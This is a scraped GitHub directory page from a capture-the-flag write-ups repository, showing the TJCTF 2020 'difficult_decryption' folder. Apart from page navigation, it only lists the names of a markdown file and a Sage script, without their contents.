<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> PWN-to-0xE4 </span> <span>/</span> Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>10</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/PWN-to-0xE4/Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":267159226,"originating_url":"https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/difficult_decryption","user_id":null}}" data-hydro-click-hmac="9ca8a5a31cbbcbaa7e72d955607163718cbba3248eb3c98a139a41d824777771"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>difficult_decryption<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>difficult_decryption<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/PWN-to-0xE4/Writeups/tree-commit/cb84d3d5cfffa1ad2fd356b84e2195539aa02bf3/TJCTF%202020/difficult_decryption" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/PWN-to-0xE4/Writeups/file-list/master/TJCTF%202020/difficult_decryption"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>difficult_decryption.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>difficult_decryption.sage</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
